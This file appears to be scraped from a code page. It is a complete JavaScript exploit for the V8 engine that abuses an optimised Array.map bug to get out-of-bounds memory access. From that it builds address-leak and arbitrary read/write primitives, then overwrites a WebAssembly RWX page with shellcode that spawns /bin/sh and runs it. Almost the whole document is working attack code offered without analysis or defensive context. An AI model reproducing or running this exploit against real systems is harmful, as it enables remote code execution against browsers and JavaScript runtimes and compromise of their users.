1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211
|
is_in_v8_flag = true;
var g_buffer = new ArrayBuffer(16); var g_float64 = new Float64Array(g_buffer); var g_uint64 = new BigUint64Array(g_buffer);
function float2address(f) { g_float64[0] = f; return g_uint64[0]; }
function address2float(addr) { let i = BigInt(addr); g_uint64[0] = i; return g_float64[0]; }
function hex(i) { return '0x' + i.toString(16).padStart('0'); }
function info(msg) { console.log('[+] ' + msg); }
function error(msg) { console.log('[-] ' + msg); exit(1); }
function gc() { for (let i = 0; i < 100; i++) { new ArrayBuffer(0x100000); } }
function myprint(msg){ if(is_in_v8_flag){ print(msg); }else{ console.log(msg); } }
var max_iters = 10000; var max_search = 0x10000;
Array(32760);
Array(2**30);
let a = [1, 2, ,,, 3];
let oob_array; let leak_obj; let rw_arraybuffer; let obj = {};
let oob_array_length_offset = 23; let oob_array_storage_length_offset = oob_array_length_offset - 6;
function inline(){ return a.map( (value, index) =>{ if (index == 0){ oob_array = [1.1, 2.2];
leak_obj = {m:address2float(0xdeadbeef), n:obj}; rw_arraybuffer = new ArrayBuffer(0x4321); } if (index == oob_array_length_offset +1 ){ throw "oob finished..." } return index; }); }
inline(); for(var i = 0; i < max_iters; ++i) inline();
a.length = (32 * 1024 * 1024)-1; a.fill(1, oob_array_storage_length_offset, oob_array_storage_length_offset + 1); a.fill(1, oob_array_length_offset); a.length += 500;
leak_obj_offset = 0; rw_arraybuffer_offset = 0;
function addrOf(obj){ leak_obj.n = obj; return Number(float2address(oob_array[leak_obj_offset])); }
function fakeObj(obj_address){ oob_array[leak_obj_offset] = Number(float2address(obj_address)); return leak_obj.n; }
function read64(addr){ oob_array[rw_arraybuffer_offset] = address2float(addr); let data_view = new DataView(rw_arraybuffer); return Number(float2address(data_view.getFloat64(0, true))); }
function write32(addr, value){ oob_array[rw_arraybuffer_offset] = address2float(addr); let data_view = new DataView(rw_arraybuffer); data_view.setInt32(0, value, true); }
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 10, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var func = wasmInstance.exports.main;
try{ inline(); }catch(e){ if(oob_array.length > 2){ myprint("[+] oob successed!"); myprint("[+] oob_array length is : " + oob_array.length); }else{ throw "oob Failed" }
for(var i = 0; i < max_search; ++i){ var value = float2address(oob_array[i]); if(value == 0xdeadbeef){ leak_obj_offset = i + 1; break; } }
for(var i = 0; i < max_search; ++i){ var value = float2address(oob_array[i]); if(value == 0x4321){ rw_arraybuffer_offset = i + 1; break; } }
if(leak_obj_offset == 0 || rw_arraybuffer_offset==0) throw "get offset failed"
myprint("[+] leak_obj_offset : " + leak_obj_offset); myprint("[+] rw_arraybuffer_offset : " + rw_arraybuffer_offset);
var wasm_func_addr = addrOf(func) - 1; myprint("[+] wasm func addr : " + hex(wasm_func_addr));
var shared_info = read64(wasm_func_addr + 0x18) - 1; myprint("[+] wasm shared info : " + hex(shared_info));
var data_address = read64(shared_info + 0x8) - 1; myprint("[+] data_address : " + hex(data_address));
var instance_address = read64(data_address + 0x10) - 1; myprint("[+] instance_address : " + hex(instance_address));
var rwx_address = read64(instance_address + 0x108); myprint("[+] rwx_address : " + hex(rwx_address));
write32(rwx_address, 0x99583b6a); write32(rwx_address + 0x4, 0x2fbb4852); write32(rwx_address + 0x8, 0x6e69622f); write32(rwx_address + 0xc, 0x5368732f); write32(rwx_address + 0x10, 0x57525f54); write32(rwx_address + 0x14, 0x050f5e54);
func();
}
|